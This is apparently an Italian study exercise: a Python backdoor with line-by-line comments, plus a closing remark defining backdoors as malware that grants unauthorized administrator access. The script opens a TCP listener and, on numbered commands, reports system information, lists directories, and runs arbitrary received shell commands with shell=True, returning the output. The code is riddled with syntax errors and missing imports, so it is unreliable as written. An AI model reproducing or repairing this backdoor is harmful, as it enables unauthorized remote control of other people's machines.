```
import socket, platform, os
# andiamo a usare la libreria socket,platform e os

SRV_ADDR = "" # l'indirizo sui cui la backdoor deve ascoltare le condizioni di ingresso
SRV_PORT = 1234 #porta del servizio che voglio ascoltare le condizioni di ingresso

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #creiamo un nuovo socket .andiamo a prendere l'oggeto socket che sta all'interno del modulo socket ,il metodo socket. Passiamo dei parametri che sono socket. AF_INET e socket SOCK_STREAM, il primo ci dice il socket che dobbiamo costruire sara Ipv4 con un protocollo TCP.

s.bind((SRV_ADDR, SRV_PORT)) #a questo oggetto (s) faremo il bind tra l'indirizzo e la porta questo perchè quando abbiamo l'oggetto (s) che vuole sapere quali sono le sue interfacce di riferimento.

s.listen(1) #abbiamo creato il socket, gli abbiamo detto su quale interfaccia ascoltare e lo mettiamo in  ricezione ,lo facciamo con il mettodo (listen (1)<---questo significa che accetta una connessione alla volta.
connection, adress = s.accept() #una volta avviato il mio socket in ascolto ,questo accetta la connessione di qualcuno che si  è collegato.e mi darà le informazioni di chi si è collegato .

print("client connected:",adress) # stampa le informazioni di chi si e collegato alla mia backdoor.(perchè la propria backdoor agisce come server).

While 1:    # abbaimo creato il nostro socket,gli abbiamo detto su quale  interfaccia deve ascoltare ,Gli abbiamo detto di stare in ascolto e poi abbiamo accettato la prima connessione che ci è arrivata,e abbiamo l'oggetto connection .Per agire su questo oggetto connection  creiamo un ciclo while.che ci servirà a leggere continuamente i dati che arrivano su connection.((1)<--in python significa  TRUE)
    try: #è un blocco in cui le istruzioni che vi sono state inserite tra  try e except  vengono monitorate .

        data = connection.recv(1024).decode(utf-8).strip()    #All'interno di questo ciclo,come prima istruzione andiamo a prendere il nostro oggetto connection. All'interno dell'oggetto connection abbiamo il metodo (connection.recv(1024) e gli diciamo di prendere questa connessione che ha stabilito perchè è di tipo TCP e legge 1024 byte che  sono arrivati.conservati all'interno di data .Quindi all'interno di data avremo il client che si è collegato a questo server.



    except: continue #è un blocco dove le istruzioni vengono controllate e monitorate. E continua con il ciclo

   if(data == '1'): #se il dato ricevuto 1 è uguale a 1  ,prenderà delle informazioni sulla piattaforma e le informazioni sulla machina tramite l'oggetto platform .Gli oggeti platform ridiventano delle stringhe . Concateniamo le due stringhe e le inseriamo all'interno di un altra stringa(tosend).Il programma prende le informazioni sulla macchina che sta girando e le invia indietro, prende (tosend)  per far diventare la stringa in byte.e lo dà alla sendall. Questo metodo  che sta dentro l'oggetto connection  inviera tutto il contenuto sull'oggetto connection
```

```
        tosend = platform.platform() + "" + platform.machine()
        connection.sendall(tosend.encode())

   elif(data == '2'): # se data è uguale 1 ma è invece 2 non  partira la prima condizione e passerà nella seconda condizione . Il programma sta di nuovo in attesa di ricevere nuovi dati
        data = connection.recv(1024) #2if resta in attesa di dati in arrivo e li conserva nella stringa data
   try: #se il codice va in errore lo si può gestire e non fa crashare tutto il programma.,

        filelist = os.listdir(data.decode(utf-8).strip()) #  i dati che ci sono arrivati  li interpretiamo secondo (utf-8) che è la codifica dei nostri caratteri.Quindi riceviamo questa ulteriore informazione(stringa) e la diamo prima all'oggetto (os) e poi al metodo interno di questo oggetto (listdir).chiede di fargli la lista del percorso.

        tosend = ""#stringa vuota

        for x in filelist:#ciclo for per le liste
           toSend += "," +
   except:
        tosend ="wrong path"#percorso sbagliato invio il messagio (wrong path)

   connection.sendall(tosend.encode()) # serve per inviare a tutti i partecipanti un messaggio di conferma

   elif(data. == '3'): # nella terza condizione gli diciamo, ogni commando che si riceve all'interno di data viene eseguito.(es. La creazione di un file)

        while true :

                data = connection.recv(1024).decode(utf-8).strip()

                if data = “killout”:

                        break:
                proc = subprocess.popen(data, shell=True, stdout = subprocess.PIPE, stderr=subprocess.PIPE,  stdin=subprocess.PIPE)
                output= proc.stout.read() +  proc.stderr.read()
                connection.sendall(output)
                connection.sendall(“//>”.endcode())


  elif (data == '0'):
        connection.close #chiude la connessione
connection,address = s. accept() #resta in attesa di un altra connesione
```

backdoor è una applicazione (definita come malware) . Letteralmente significa porta sul retro. Si tratta righe di codice grazie alle quali un utente può entrare come amministratore senza avere alcun accesso autorizzato